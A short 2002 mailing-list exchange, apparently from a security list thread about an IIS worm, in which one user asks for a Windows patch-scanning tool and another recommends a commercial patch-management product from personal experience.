There is a couple of choices One Is to use Micro$ofts - Automatic update - not recommended or you can check out www.stbernard.com. It is one of the better ones and I use it in an environment with approximately 150 server (65 web servers) and it works fairly well. Unfortunately the IIS piece is an extra charge but well worth it for me. It give you greater control over your deployments. -----Original Message----- From: zeno [mailto:bugtraqat_private] Sent: Tuesday, September 24, 2002 2:29 PM To: MarkCat_private Cc: pjat_private; incidentsat_private Subject: Re: new IIS worm?

Does anyone know of a gui windows tool that scans your system and provides you with a list of needed patches, and then allows you to select, and have it autodownload and install them?
